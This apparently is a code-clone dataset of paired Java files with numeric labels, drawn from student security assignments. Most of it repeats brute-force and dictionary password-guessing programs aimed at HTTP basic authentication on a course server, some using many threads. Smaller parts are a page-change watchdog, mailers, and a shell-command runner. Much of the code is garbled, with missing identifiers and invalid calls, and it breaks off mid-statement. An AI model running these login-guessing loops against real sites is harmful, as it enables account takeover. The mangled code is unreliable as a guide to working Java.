import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
055.java
197.java
0
import java.net.*; import java.io.*; import java.misc.*; import java.io.BufferedInputStream; import java.awt.*; import java.awt.event.*; public class WriteFile { String url; String fileName; int flag; private PrintWriter out2; private TextArea response; int status; int mailFlag; public WriteFile (String newUrl, String newFileName, int newFlag) { url = newUrl; fileName = newFileName; PrintWriter printW = null; FileOutputStream fout; flag = newFlag; status = 0; mailFlag = 0; File file = new File(fileName); file.delete(); try { fout = new FileOutputStream(fileName,true); printW = new PrintWriter(fout); } catch (IOException ioe) { System.out.println("IO Error : " + ioe); } URL u; URLConnection uc; try { u = new URL(url); try { uc = u.openConnection(); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader(content)); String line; while ((line = in.readLine()) != null) { printW.println(line); } } catch (Exception e) { System.out.println("Error: " + e); } } catch (MalformedURLException e) { System.out.println(url + " is not a parseable URL"); } printW.print(); if(flag == 1) { compareDiff("@.rmit.edu."); } } String loadStream(InputStream in) throws IOException { int ptr = 0; in = new BufferedInputStream(in); StringBuffer buffer = new StringBuffer(); while( (ptr = in.next()) != -1 ) { status++; buffer.append((char)ptr); mailFlag++; } return buffer.toString(); } public void compareDiff(String emailAdd) { String cmds = "diff test1.txt test2.txt"; PrintWriter printW2 = null; FileOutputStream fout2; File file = new File("diff.txt"); file.delete(); String ; try { fout2 = new FileOutputStream("diff.txt",true); printW2 = new PrintWriter(fout2); } catch (IOException ioe) { System.out.println("IO Error : " + ioe); } try { Process ps = Runtime.getRuntime().exec(cmds); PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream())); printW2.println(loadStream(ps.getInputStream())+"\n"); printW2.print(); if(mailFlag != 0) { FileReader fRead2; BufferedReader buf2; try { fRead2 = new FileReader("diff.txt"); buf2 = new BufferedReader(fRead2); String line2; int i=0; line = new String(" some changes the web as followed: \n"); Socket s = new Socket("wombat.cs.rmit.edu.", 25); out2 = new PrintWriter(s.getOutputStream()); send(null); send("HELO cs.rmit.edu."); send("MAIL FROM: @.rmit.edu."); send("RCPT : @.rmit.edu."); send("DATA"); while( (line2 = buf2.readLine()) != null) { line= new String(""+line2+"\n"); } out2.print(); send("."); s.print(); } catch(FileNotFoundException e) { System.out.println("File not found"); } catch(IOException ioe) { System.out.println("IO Error " + ioe); } } System.out.println(loadStream(ps.getInputStream())); System.err.print(loadStream(ps.getErrorStream())); } catch(IOException ioe) { ioe.printStackTrace(); } } public void send(String s) throws IOException { response = new TextArea(); if(s != null) { response.append(s + "\n"); out2.println(s); out2.flush(); } } public int getStatus() { return status; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
106.java
197.java
0
import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.UsernamePasswordCredentials; import org.apache.commons.httpclient.cookie.CookiePolicy; import org.apache.commons.httpclient.methods.GetMethod; public class BruteForce{ static final String LOGON_SITE_HACKER = BruteForcePropertyHelper.getProperty("logonSite"); static final int LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty("logonPort")).intValue(); static final int USE_PROXY_SERVER = Integer.valueOf(BruteForcePropertyHelper.getProperty("useProxyServer")).intValue(); static final int PROXY_PORT = Integer.valueOf(BruteForcePropertyHelper.getProperty("proxyPort")).intValue(); static final String PROXY_SERVER = BruteForcePropertyHelper.getProperty("proxyServer"); static final String PROXY_USENAME = BruteForcePropertyHelper.getProperty("proxyUserName"); static final String PROXY_PASSWORD = BruteForcePropertyHelper.getProperty("proxypassword"); static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty("getMethod"); static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty("numberOfGetsBeforeReleaseConnection")).intValue(); static final String[] cValidChars = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"}; public BruteForce() { super(); } public static void main (String[] args) throws Exception { String statusLine = " "; int count = 0; int firstLetterIndex = 0; int secondLetterIndex = 0; int thirdLetterIndex = 0; int divValue = 0; String userName = ""; String password = ""; HttpClient client = new HttpClient(); if (USE_PROXY_SERVER == 1) { client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT); client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD)); } client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY); client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, "http"); GetMethod getMethod = new GetMethod(GET_METHOD_HACKER); count = 0; for (int f = 0; f < 52; f++) { firstLetterIndex = f; password = cValidChars[firstLetterIndex]; System.out.println("Count: "+ count + " First Index: "+ firstLetterIndex+ " password: "+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo("HTTP/1.1 200 OK") == 0) { System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password); System.exit(0); } } count = 0; for (int g = 0; g < 52; g++) { firstLetterIndex = g; for (int h = 0; h < 52; h++) { secondLetterIndex = h; password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]; System.out.println("Count: "+ count+ " First Index: "+ firstLetterIndex+ " Second Index: "+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ " password: "+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println("Count: "+ count+ " Div Value: "+ divValue + " Releasing the connection and getting new one"); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password); if (statusLine.compareTo("HTTP/1.1 200 OK") == 0) { System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password); System.exit(0); } } } getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); count = 0; for (int i = 0; i < 52; i++) { firstLetterIndex = i; for (int j = 0; j < 52; j++) { secondLetterIndex = j; for (int k = 0; k < 52; k++) { thirdLetterIndex = k; password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]; System.out.println("Count: "+ count+ " First Index: "+ firstLetterIndex+ " Second Index: "+ secondLetterIndex+ " Third Index: "+ thirdLetterIndex+ " "+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ " password: "+ password); client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println("Count: "+ count+ " Div Value: "+ divValue+ " Releasing the connection and getting new one"); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo("HTTP/1.1 200 OK") == 0) { System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password); System.exit(0); } } } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
216.java
197.java
0
import java.io.*; import java.net.*; import java.util.*; import java.*; public class Dictionary { public static void main(String args[]) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); int flag=1; String filename = "words"; try { String urlString = new String("http://sec-crack.cs.rmit.edu./SEC/2/"); String thePassword= new String(); BufferedReader inputStream= new BufferedReader(new FileReader(filename)); String line=inputStream.readLine(); stime = System.currentTimeMillis(); while (line!= null && flag==1) { try { URL url = new URL (urlString); String userPassword = "" + ":" + line; String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty("Authorization", " " + encoding); InputStream content = (InputStream)uc.getContent(); endtime = System.currentTimeMillis(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line2; while ((line2 = in.readLine()) != null) { pw.println (line2); } flag=0; System.out.println("process time is : " +(endtime-stime)/1000 +" seconds."); }catch (MalformedURLException e) { flag=1; }catch (IOException e) { flag=1; } line=inputStream.readLine(); } inputStream.close(); } catch(FileNotFoundException e) { System.err.println("File "+filename+" was not found"); } catch(IOException e) { System.err.println("Error "); } System.out.println("content is "+ sw.toString()); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
220.java
197.java
0
import java.io.*; public class UnixMailing { private String buffer; private String email; public static void main (String [] args) { UnixMailing obj = new UnixMailing("@hotmail."); obj.println("hehehe"); obj.sent(); } public UnixMailing(String email) { this.email = email; buffer = ""; } public boolean sent() { String command = "mail "+email; if (buffer.length() <= 0) return false; try { Process proc = (Runtime.getRuntime()).exec(command); DataOutputStream out = new DataOutputStream(proc.getOutputStream()); out.writeBytes(buffer); out.flush(); out.print(); proc.waitFor(); buffer = ""; return true; } catch(Exception e) { e.printStackTrace(); buffer = ""; return false; } } public void print(String data) { buffer += data; } public void println(String data) { buffer += data+"\n"; } public void cancel() { buffer = ""; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
040.java
197.java
0
import java.io.*; import java.util.*; import java.text.*; public class Dictionary { private int verbose = 0; private int scanType = CrackingConstants.casedScan; private boolean leftThreeCharsOnly = false; private boolean fullScan = false; private int passwordsTried = 0; private int uniqueLetterSequencesTried = 0; public static void main (String args[]) { int tIni; int tFinish; DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); Dictionary pwForcer = new Dictionary(); if(0 < args.length) { for(int i = 0; i < args.length; i++) { if((args[i].indexOf("-h") > -1) || (args[i].indexOf("-H") > -1)) { System.out.println("\n-f -F\tgenerates the three leftmost characters of the passwords as in -t/T \nbut also appends the rest of the string ( duplicate checking is with this option)."); System.out.println("\n-s -S\tonly tests lower passwords."); System.out.println("\n-t -T\tonly the three leftmost characters of the passwords."); System.out.println("\n-v -V\tprints the passwords as tried.\n"); return; } else if((args[i].indexOf("-s") > -1) || (args[i].indexOf("-S") > -1)) pwForcer.scanType = CrackingConstants.simpleScan; else if((args[i].indexOf("-v") > -1) || (args[i].indexOf("-V") > -1)) pwForcer.verbose = CrackingConstants.verboseMode2; else if((args[i].indexOf("-t") > -1) || (args[i].indexOf("-T") > -1)) pwForcer.leftThreeCharsOnly = true; else if((args[i].indexOf("-f") > -1) || (args[i].indexOf("-F") > -1)) pwForcer.fullScan = true; } } if (pwForcer.fullScan) pwForcer.leftThreeCharsOnly = false; System.out.println("\n\n********************************\n"); System.out.println("Starting dictionary run at " + longTimestamp.format(new Date())); if(0 < args.length) { String arguments = ""; for( i =0; i < args.length; i++) arguments += args[i] + " "; System.out.println("\nOptions: " + arguments + "\n"); } if (pwForcer.leftThreeCharsOnly) System.out.println("Only the first three letters of each password tried."); if(pwForcer.scanType == CrackingConstants.simpleScan) System.out.println("Only lower passwords tried."); else System.out.println("Both lower and upper passwords tried."); System.out.println("\n********************************\n"); tIni = System.currentTimeMillis(); pwForcer.run(); tFinish = System.currentTimeMillis(); if (CrackingConstants.casedScan == pwForcer.scanType) { System.out.println ("\n\n" + pwForcer.passwordsTried + " capitalized passwords were tried."); System.out.println ("That is " + pwForcer.uniqueLetterSequencesTried + " unique passwords were tried."); } else { System.out.println ("\n\n" + pwForcer.passwordsTried + " passwords were tried.\n"); System.out.println (pwForcer.uniqueLetterSequencesTried + " unique passwords were tried."); } System.out.println("\n********************************\n"); System.out.println("Finished dictionary run at " + longTimestamp.format(new Date())); System.out.println("Time taken: " + ((tFinish - tIni )/1000) + " seconds"); System.out.println("\n********************************"); } public Dictionary() { } private void run() { String fileName = "/usr/share/lib/dict/words"; LoginAttemptResults results = new LoginAttemptResults(); LoginAttempt login = new LoginAttempt(); CasePasswords casedPasswords = new CasePasswords(verbose); try { boolean found = false; int lineCount = 0; String password = null; String lastPassword = ""; BufferedReader in = new BufferedReader(new FileReader(fileName)); while((null != (password = in.readLine())) && (!found)) { lineCount++; password = password.trim(); if("" != password) { if (leftThreeCharsOnly) { leftIndex = -1; midIndex = -1; rightIndex = -1; String tail = ""; if(3 <= password.length()) { if (!fullScan) if(lastPassword.equals(password.substring(0, 3).toLowerCase())) continue; else lastPassword = password.substring(0, 3).toLowerCase(); char [] passwordChars = password.toCharArray(); leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length); midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length); rightIndex = CrackingConstants.findIndex(passwordChars[2], 0, CrackingConstants.lowerChars.length); if ((3 < password.length() ) && (fullScan)) tail = password.substring(0, 3); } else if(2 == password.length()) { if (!fullScan) if(lastPassword.equals(password.substring(0, 2).toLowerCase())) continue; else lastPassword = password.substring(0, 2).toLowerCase(); char [] passwordChars = password.toCharArray(); leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length); midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length); } else if(1 == password.length()) { if (!fullScan) if(lastPassword.equals(password.substring(0, 1).toLowerCase())) continue; else lastPassword = password.substring(0, 1).toLowerCase(); char [] passwordChars = password.toCharArray(); leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length); } else { System.out.println("Empty password from word file."); continue; } if((CrackingConstants.notFound != rightIndex) && ((CrackingConstants.notFound == leftIndex) || (CrackingConstants.notFound == midIndex))) continue; if((CrackingConstants.notFound != midIndex) && (CrackingConstants.notFound == leftIndex)) continue; results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried); found = results.getSuccess(); passwordsTried = results.getPasswordsTried(); uniqueLetterSequencesTried++; } else { results = login.tryPasswords(casedPasswords.createCasedPasswords(password, scanType), passwordsTried); found = results.getSuccess(); passwordsTried = results.getPasswordsTried(); uniqueLetterSequencesTried++; } } } in.print(); } catch(FileNotFoundException e) { System.out.println("File " + fileName + " was not found was unopenable."); } catch(IOException e) { System.out.println("Error " + e); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
073.java
197.java
0
public class Execute { public Execute(String cmdline) { try { String[] cmd = {"//sh", "-c", cmdline}; Process p = Runtime.getRuntime().exec(cmd); p.waitFor(); } catch (Exception e){} } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
224.java
197.java
0
import java.io.*; import java.text.*; import java.util.*; import java.net.*; public class Dictionary extends Thread { private static final String USERNAME = ""; private static final String DICTIONARY_FILE = "/usr/share/lib/dict/words"; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public Dictionary(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println("Invalid usage!"); System.err.println("Usage: java Dictionary <url>"); System.exit(1); } try { dic(args[0], USERNAME); } catch(Exception e) { e.printStackTrace(); System.exit(1); } } public static void dic(String address, String user) { Dictionary [] threads = new Dictionary[NUMBER_OF_THREAD]; int index = 0; startDate = new Date(); try { BufferedReader buff = new BufferedReader(new FileReader(DICTIONARY_FILE)); String password = null; while((password = buff.readLine()) != null) { if (threads[index] != null && threads[index].isAlive()) { try { threads[index].join(); } catch(InterruptedException e) {} } threads[index] = new Dictionary(address, password.trim()); threads[index].get(); index = (index++) % threads.length; } } catch(Exception e) { e.printStackTrace(); } } public void run() { if (endDate != null) return; try { URLConnection conn = (new URL(address)).openConnection(); conn.setDoInput(true); if (login(conn, USERNAME, password)) { endDate = new Date(); System.out.println("Found the password: \""+password+"\"!"); SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:"); System.out.println("Process started at: "+format.format(startDate)); System.out.println("Process started at: "+format.format(endDate)); double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; System.out.println("Time taken: "+timeTaken+" minutes"); System.exit(0); } else { System.out.println("Password: \""+password+"\" Failed!"); return; } } catch(Exception e) { e.printStackTrace(); } } public static boolean login(URLConnection conn, String user, String pass) { try { String encodeAuth = " "+Base64Encoder.encode(user+":"+pass); conn.setRequestProperty ("Authorization", encodeAuth); conn.connect(); conn.getInputStream(); } catch(Exception e) { return false; } return true; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
223.java
197.java
0
import java.io.*; import java.text.*; import java.util.*; import java.net.*; public class WatchDog { private String address; private UnixMailing email; private int step = 0; private String buffer = ""; public static void main(String [] args) { if (args.length < 2) { System.err.println("Invalid usage!"); System.err.println("Usage: java WatchDog <url> <email>"); System.exit(1); } String address = args[0]; String email = args[1]; WatchDog theProg = new WatchDog(address, email); try { File currDir = new File("."); File [] list = currDir.listFiles(); for (int i = 0; i < list.length; i++) { if (list[i].getName().trim().startsWith("_buffer")) list[i].delete(); } } catch(Exception e) {} while (true) { theProg.checkPage(); try { Thread.sleep(); } catch(InterruptedException e ) {} } } public WatchDog(String address, String email) { this.address = address; this.email = new UnixMailing(email); } public void checkPage() { try { File buffFp = new File("_bufferFile.html"); Vector imgs = new Vector(); boolean getAgain = false; if (buffFp.exists()) { URLConnection conn = (new URL(address)).openConnection(); conn.setDoInput(true); conn.connect(); DataInputStream inNet = new DataInputStream(conn.getInputStream()); System.out.println("Checking file "+address); char i = '\0'; char f = '\0'; DataInputStream inFile = new DataInputStream( new FileInputStream(buffFp)); try { int step = 0; while(true) { i = (char)inNet.readByte(); f = (char)inFile.readByte(); if (i != f) { email.println(" changes in the content of the web: "+address); System.out.println(" changes in the content of the web: "+address); getAgain = true; break; } tokenImages(i, imgs); } } catch(EOFException eofe) {} if (!getAgain) { try { i = (char)inNet.readByte(); email.println(" changes in the content of the web: "+address); System.out.println(" changes in the content of the web: "+address); getAgain = true; } catch(EOFException eofe) {} try { f = (char)inFile.readByte(); email.println(" changes in the content of the web: "+address); System.out.println(" changes in the content of the web: "+address); getAgain = true; } catch(EOFException eofe) {} } inFile.print(); inNet.print(); } else getAgain = true; if (getAgain) { getAgain 